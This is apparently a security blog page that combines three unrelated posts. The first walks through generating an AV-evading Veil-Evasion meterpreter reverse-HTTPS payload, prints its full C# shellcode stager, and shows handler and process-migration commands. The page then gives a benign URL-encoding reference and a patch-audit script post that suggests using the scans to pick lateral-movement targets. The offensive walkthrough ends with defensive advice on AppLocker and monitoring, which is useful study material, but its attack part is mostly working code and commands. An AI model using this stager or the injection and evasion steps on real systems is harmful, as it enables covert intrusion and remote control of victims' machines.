Veil-Evasion, and Process Injection monitoring with ProcMon

I’m taking a break from the Bears writeup to look at the swiss army knife payload generator and obfuscation tool Veil-Evasion. For those not familiar, it is a fairly foolproof way to get your payloads around client side AV. Most AV products suck, but they are still good enough to catch any default payloads from metasploit. The goal of veil is to give you similar tools to what the guys out there doing this for a living actually have. Major props to @harmj0y and the crew behind Veil. Today I am going to generate a payload, run it, migrate to hide it, and then see what things look like from the endpoint. There are LOTS of cool payloads so I recommend checking it out.

For this initial go around I will use a meterpreter rev_https shell which is a tried and true way to get around most firewalls. Since I am going to do a rev_https shell, it makes sense that I set my listener to 443. At a casual glance IR/CIRT might assume that it is https traffic to a local web server. Enter your LHOST and LPORT, then simply type “generate” to run and compile the C# code. As the splash mentions, don’t be an ass and submit the code to VirusTotal or malwr.

 Veil-Evasion | [Version]: 2.28.2
 [Web]: | [Twitter]: @VeilFramework

 [*] Executable written to: /var/lib/veil-evasion/output/compiled/service.exe

 Language:		cs
 Payload:		cs/meterpreter/rev_https
 Required Options:      COMPILE_TO_EXE=Y  LHOST=  LPORT=443
 Payload File:		/var/lib/veil-evasion/output/source/service.cs
 Handler File:		/var/lib/veil-evasion/output/handlers/service_handler.rc

 [*] Your payload files have been generated, don't get caught!
 [!] And don't submit samples to any online scanner! ;)

Let’s take a look at the source code before we run the exe on a Win10 box. I won’t dig into the details of the loops since we already know this is a reverse shell which is going to beacon out. Looking at the random strings and methods of building arrays should look fairly familiar if you have spent any time looking at VBS macro droppers which are automated in a similar fashion. We can see the Crypto libraries for the encrypted SSL comms, we can see the faked user agent strings, and that the C2 is actually going to be passed from the attack box to the victim in the URI.

KcgNMLCmI = HVITufm("" + hSIyuaclhbIKw(VUrMJJNOMylnMo));

On a typical engagement this would likely be an innocuous sounding domain name pointing to your handler running in AWS or similar. Would you immediately be suspicious of a domain like this in your traffic?

I wouldn’t.. Consider that when I go to CNN with firebug on, I see stuff like this which is legit.®ion=30&btreg=316303355&btadsrv=doubleclick&crt=78198179&crtname=&chnl=&unit=&pid=&uid=&dvtagver=6.1.src

Still doubt me?

This is why it is so damn hard to be on the defensive side. Your best bet is defending the endpoints since network traffic is a guessing game even if you are in an environment that can stomach domain white listing.

Anyhow, here is the code generated for the reverse shell by Veil-Evasion.

using System; using System.Net; using System.Net.Sockets; using System.Linq; using System.Runtime.InteropServices;
namespace qmVybJ { class HwPXMGnl {
private static bool yzrhGgHYX(object sender, System.Security.Cryptography.X509Certificates.X509Certificate cert,System.Security.Cryptography.X509Certificates.X509Chain chain,System.Net.Security.SslPolicyErrors sslPolicyErrors) { return true; }
static string wvenQNG(Random r, int s) {
char[] ucSiUmAtHTox = new char[s];
string jPzxWRqspJKAoqR = "SUjRIxarp3mEJflcFAvVozD7d84wCtYXGWKOMy96TqZs25QgkN01uhBLeinPHb";
for (int i = 0; i < s; i++){ ucSiUmAtHTox[i] = jPzxWRqspJKAoqR[r.Next(jPzxWRqspJKAoqR.Length)];}
return new string(ucSiUmAtHTox);}
static bool YqULHNvuyxpbUR(string s) {return ((s.ToCharArray().Select(x => (int)x).Sum()) % 0x100 == 92);}
static string hSIyuaclhbIKw(Random r) { string xRxnMrflSbj = "";
for (int i = 0; i < 64; ++i) { xRxnMrflSbj = wvenQNG(r, 3);
string talfjdJc = new string("m41NbdYgfGQjW3nzOHUS7pksIZl2y9ciVXrvAB0xTKaquCPF5EoJM8tehDR6wL".ToCharArray().OrderBy(s => (r.Next(2) % 2) == 0).ToArray());
for (int j = 0; j < talfjdJc.Length; ++j) {
string rFFdcaABTwojeR = xRxnMrflSbj + talfjdJc[j];
if (YqULHNvuyxpbUR(rFFdcaABTwojeR)) {return rFFdcaABTwojeR;}}} return "9vXU";}static byte[] HVITufm(string tVjsDhLPDKHNf) {
ServicePointManager.ServerCertificateValidationCallback = yzrhGgHYX;
WebClient FPcGsTebmeYWk = new System.Net.WebClient();
FPcGsTebmeYWk.Headers.Add("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)");
FPcGsTebmeYWk.Headers.Add("Accept", "*/*");
FPcGsTebmeYWk.Headers.Add("Accept-Language", "en-gb,en;q=0.5");
FPcGsTebmeYWk.Headers.Add("Accept-Charset", "ISO-8859-1,utf-8;q=0.7,*;q=0.7");
byte[] aDwIpKd = null;
try { aDwIpKd = FPcGsTebmeYWk.DownloadData(tVjsDhLPDKHNf);
if (aDwIpKd.Length < 100000) return null;}
catch (WebException) {}
return aDwIpKd;}
static void QWtlFDGkN(byte[] HuHeuyxoa) {
    if (HuHeuyxoa != null) {
        UInt32 lgUBVysGbhpUT = VirtualAlloc(0, (UInt32)HuHeuyxoa.Length, 0x1000, 0x40);
        Marshal.Copy(HuHeuyxoa, 0, (IntPtr)(lgUBVysGbhpUT), HuHeuyxoa.Length);
        IntPtr WcqudPV = IntPtr.Zero;
        UInt32 bBKzAFzzBm = 0;
        IntPtr yqAnvgjjBIRQG = IntPtr.Zero;
        WcqudPV = CreateThread(0, 0, lgUBVysGbhpUT, yqAnvgjjBIRQG, 0, ref bBKzAFzzBm);
        WaitForSingleObject(WcqudPV, 0xFFFFFFFF); }}
static void Main(){
Random VUrMJJNOMylnMo = new Random((int)DateTime.Now.Ticks);
byte[] KcgNMLCmI = HVITufm("" + hSIyuaclhbIKw(VUrMJJNOMylnMo));
[DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 pLnaDIDFdQwKcK,UInt32 kugvrUNzuh, UInt32 ixrbXNyJBMXzr, UInt32 ISTUcXfe);
[DllImport("kernel32")]private static extern IntPtr CreateThread(UInt32 EnjOYJzc, UInt32 bDgnvBXv, UInt32 gCOpUanS,IntPtr wbsOhMOIh, UInt32 PaAqAbKiE, ref UInt32 yxbSxjcoOTX);
[DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr ZlWwvPAlz, UInt32 EPJujz); } }

Now let's get the exe onto the victim box and run it. First we setup our metasploit handler which veil has been nice enough to give us a handler file for ( /var/lib/veil-evasion/output/handlers/service_handler.rc). This handy file makes it a one shot deal to get your payload handler running. Once in msfconsole simply type "resource" and then the path to your .rc file.

I am glossing over the initial compromise method since that isn't the focus of this briefing. Let's say we social engineer someone into believing they need to patch their system, and include a link to download the patch.

On the attacker box I see a session being started when the Windows 10 box runs the service.exe. To make things more "difficult" for the defensive side I first interact with the session, then I am going to list processes and migrate to one so that the initial service.exe can get killed and I can live on in process injection.

If you are new to metasploit the following commands inside msfconsole list sessions, interact with one, find processes, then migrate.

sessions -l 
sessions -i session# 
migrate pid#

Since I am masquerading C2 traffic as https traffic it makes sense that I would migrate to something like a browser. Here is a shot of a successful migration to the venerable IE.

On the host box I fire up process hacker like a dutiful sys admin might if he suspected something was suspicious. There is no longer a suspicious "service.exe" and the network connections reveal Internet Explorer talking with websites over the normal 80 and 443. You can obviously pick out the "bad" connection since you know for this demo that I am a local attacker, but if you replaced my local Kali handler with one and AWS and a public IP good luck spotting that. Of course I am eventually going to want to elevate myself as system and migrate to somewhere else for persistence since in my current state if the user kills internet explorer my shell dies with it. For the sake of making this a bit more challenging I will leave my shell inside internet explorer.

Using Process Hacker and looking at strings in memory I can make out the various URI's corresponding to Bing, yahoo, and anything else I have open. Mixed in there is the IP address of the attack box, but if that was an address like I would naturally just assume that my browser was pulling down ads on one of the homepages. Defensive Group Policy like Applocker and changing scripts to open with notepad.exe are a million times more effective than AV or IOC based detection on network traffic. Whitelisting can be bypassed via injection, but for most circumstances if you can stop that js/hta/vbs/exe/com from running in a temp directory you will force the attacker down a much harder avenue. It is a war of attrition. For an added bonus, Applocker is built into Windows so you don't have to blow more money in your company. Looking at the traffic in Wireshark confirms that all the communications are TLS encrypted so unless you have MITM functionality on network traffic you aren't going to have squat.

HOWEVER, if you migrate your meterpreter session into iexplore.exe you find yourself in a sandbox which you weren't in initially. So in theory an attacker could most likely stay in your browser and easily blend in, but in practice an attacker is going to want to be injected into a process operating with elevated privileges and one that doesn't get killed in the event that a user closes the browser. Here is a screenshot showing that while injected into the browser I couldn't view system process and I eventually I got my shell killed when the browser was closed by the user.

Now lets redo the infection and see what things look like if I go the most likely route that an attacker would take. Exiting out of meterpreter I can see that my handler is still running on 443 so there is no reason to re-launch it.

Relaunching the "service.exe" malware from the browser and pulling up Process Hacker shows that this should clearly alarm you due to the location that it is running out of. I can't stress enough that if you want to make life hard for the APT's, ransomware pushers, and pen testers remove the ability for an executable to run out of any TEMP paths like C:\TEMP (older) or the %APPDDATA% (newer) path via Applocker policy.

Now I migrate over to svchost.exe and you can see in process hacker that the connection is coming through the process which I injected into. Process Injection isn't just done by malware, and nothing yells out and alerts you even on Windows10 that a random executable in APPDATA just injected into an application signed by Microsoft.

If you go look at the memory of the svchost.exe which has injection going through it versus your average svchost.exe you do notice that there is a LOT more going on, particulary with crypto libraries being loaded. You can also see some unique strings which indicate what is going on to the trained eye, but only if you are already looking for this.

Let's take a look at what sort of artifacts are created when this process migration goes through. I am going to use SysInternals ProcMon to watch the migration as inject my shell from it's original dropper "service.exe" into the legitimate notepad.exe. I chose this over the previous migrations because these two processes should have less noise. service.exe is all bad, and notepad.exe is simple and should have no network functionality. If I watched the migration to iexplore.exe there would be substantial noise since many of the connectivity modules and hooks would be present under legitimate circumstances as well.

Filtering off of notepad.exe and service.exe, then viewing Network Summary (Under Tools Dropdown) I can clearly see when the hand off has completed.

Actually looking at the events that have been created from this migration are a little more opaque, but you can see the threads being killed inside service and corresponding ones being opened up in notepad.

Stepping back in time, let me look at the Stack before migration.

And now after the trace is complete during the injection we look at the stack.

Running PS to list the processes inside the session shows what that Query looks like, as you would expect it finds all the running processes. The IRP_MJ_QUERY_INFORMATION is a request by the IO/Manager which does exactly what we would expect, it queries the file system for information on files. Pretty cool to be seeing this level of granularity on a command.

Now I migrate my shell into notepad.exe and look at Procmon for what appears to be the first event of the migration, a Thread Create inside notepad followed with a bunch of Thread's being terminated inside the malicious service.exe. Looking at that thread even show's the stack now contains a number of modules only referenced by the memory address and not a known DLL or program.

As we follow along the event timeline and check the stack for service.exe and notepad.exe we can see the migration occurring. Do to the overload of information that Procmon provides thousands of events occur in between. Once you see service.exe no longer in the timeline and you check on notepad you can see the modules running in the stack include the system and communication drivers you would expect of a backdoor shell.

In summation I want to drive home the following.

  1. You should run AV at home and in your Enterprise, but it should not be considered your "endpoint security solution." AV is fairly easy to get around using tools like Veil or custom packers.
  2. Monitoring network traffic is good, particularly for Data Loss Prevention (DLP). It is not good for spotting malicious traffic however since nearly all bad guys are using https which you will never be able to block at the firewall. Domain whitelisting is great, but C2 can still be delivered via googledocs, twitter, instagram, etc, so you have to REALLY be ready to lock down the network and let the users complain.
  3. Process Injection works and it isn't going away. The one choke point you really have as a defender is to block that moment when the user clicks to run the .hta, js, macro, com, scr, exe, ws, ps1, etc. Your best bet is to not allow regular users to ever run scripts or executable's in temp paths via GroupPolicy. Lots of organizations lock it down so you need an admin to install software, but this does nothing to stop a user from running random code out of %APPDATA%. In the end statistics don't lie and that is where malware drops and often times lives out it's entire life.

URL Encoding

URL Syntax;pp=1&qp=2#Three

URL Part URL Data
Scheme https
User admin
Password pass123
Subdomain www
Port 80
Path /bio.txt
Path Parameter pp=1
Query Parameter qp=2
Fragment Three

Safe Characters

RFC1738 section 2.2 outlines the safe characters to use in an HTTP URL Scheme:


Safe characters can be used in URLs without any form of encoding as they aren’t reserved for special use in the construction of the URL.

Unsafe Characters

Per RFC1738 section 2.2, the following characters are unsafe for use in an HTTP URL Scheme:

space < > " # % { } | \ ^ ~ [ ] `

RFC1738 section 2.2 also states that the following characters are reserved in an HTTP URL Scheme:

; / ? : @ = &

RFC3986 section 2.2 additionally specifies reserved characters in URI schemes:

space % : / ? # [ ] @ ! $ & ' ( ) * + , ; =

Unsafe and reserved characters are reserved for use in constructing the URL scheme. These characters must be encoded so the URL can be constructed without ambiguity. Fortunately, RFC1738 has us covered.

URL Encoding

URL, or percent, encoding substitutes the percent (%) sign and two hexadecimal characters to represent unsafe characters in a URL. Here are the encodings for unsafe and reserved characters per RFCs 1738 and 3986:

Unsafe Character URL(Percent) Encoding
space %20
% %25
: %3A
/ %2F
? %3F
# %23
[ %5B
] %5D
@ %40
! %21
$ %24
& %26
( %28
) %29
* %2A
+ %2B
, %2C
; %3B
= %3D
< %3C
> %3E
{ %7B
} %7D
pipe %7C
\ %5C
^ %5E
~ %7E
` %60

URL Encoding “Gotchas”

Stéphane Épardaud describes several pitfalls to URL encoding at the Lunatech Blog (go read his post!). In summary, reserved characters differ for each part of the URL:


  • spaces must be encoded to %20, not +
  • : @ - . _ ~ ! $ & grave ( ) * + , ; = are allowed unencoded

Path Parameter

  • = is allowed unencoded


  • spaces may be encoded to + (for backward compatibility) or %20. + must be encoded to %2B
  • ? , / are allowed unencoded


  • / ? : @ - . _ ~ ! $ & grave ( ) * + , ; = are allowed unencoded

For more information

  1. RFC1738 – Uniform Resource Locators
  2. RFC3986 – Uniform Resource Identifiers
  3. What every web developer must know about URL encoding

Blue Teaming/Audit scripts

I love doing “Red Teaming” stuff, but every once in awhile a customer will ask us to perform a “Blue Team” assessment in order to help them gear up for a compliance audit. For example, I did a lot of work for Energy/Utility Companies, most of that work was helping them prepare for their NERC audits. Part of this assessment was tracking down assets and finding out information. Some of these assets were PLC, HMI, Modems, etc. and other “non-traditional” devices, but for the most part there were a lot of Windows or Linux systems. For the Windows side, we had a few scripts that would gather User information, Security policies, Patch Information and other stuff. This made life easier, because we had a thumb drive that would autoload (if allowed) our batch script and gather this information in a matter of minutes. Anyway, a part of that assessment was to identify missing patches. If you are familiar with MS products, they have the Microsoft Baseline Security Analyzer (MBSA) which will gather information about missing patches and other stuff.

For this post, we will concentrate on patches. The great thing about this tool is that it has a CLI client that is added during installation. This client can be easily copied and is small enough to fit on a small to medium sized thumb drive. This client works with the Windows Update Agent (WUA). You will have to download the latest offline “.cab” file from MS. Once that is done, you can use the MBSA client to scan remote or local computers.

In this example we will be scanning a local computer. I have made a batch script to perform this.

@echo OFF echo
=== Gathering information for %COMPUTERNAME% ===
mbsacli.exe /nvc /xmlout /wi /unicode /catalog "%CD%\" > %COMPUTERNAME%/%COMPUTERNAME%_MBSA.xml

You can easily add other things to script, but for now I will keep it basic;you can find a list of commands here. This script will make a directory, run the client and then save the output “computername.xml”.
/nvc: To avoid checking for a new version of MBSA
/wi: Permit to display all updates
/xmlout = create xml output
/unicode = used for formatting output
/catalog= telling the script to use the “.cab” file. Must specify path of cab file.

To display the full list of options use the “/?” command.

What isn’t here, is the “/listfile” command, which will take a list of servers by NetBIOS name or FQDN name and scan them. You must also specify the path of the “servers2scanlist.txt”. You can also scan a range of IP addresses with “/r”.

Note: you must have the “Wusscan.dll” in the same directory or it will not run. Also, you must be an administrator, or specify an admin user “/u” and “/p” options.

Now that we have everything in the same directory, we can start.

(1). Run the script by “double clicking”


(2). As you can see it creates the localComputerName directory and inside that directory is the MBSA XML file.

Now if we view the file, we see all the patches for this local computer.

It looks like a blob of nothing, so I created a simple python file to list whether patches are “Installed or Not Installed”. parsebasic

In this case, I am more interested in patches that aren’t installed. This outputs by BulletinID, Severity, and Title. You can easily add in reference links and other information.

Ok, simple enough.

The possible evilness of this: As I said before you can easily script this scan a range. For example, say you are on a “Red Team” test and you have gathered some form of Administrative credentials, your next step would be to move laterally and work your way up to a DC and file shares. That is good, but I have known some companies to block the use of “psexec” for certain users. Of course there are other ways to move laterally besides that. But my point is, now you can use this on/from a compromised computer; or if you are on an internal test, run it from your machine. It will help you take some of the guess work out of finding your next target and seeing what they are vulnerable to. It will be noisy, however, if they have normal vulnerability scanning traffic going on it may blend right into that noise. The next steps would be to write this in PS and also update my python script to search for specific patches, display prettier format or even save to CSV or HTML. As always, files can be found on my github.

Merry Christmas!!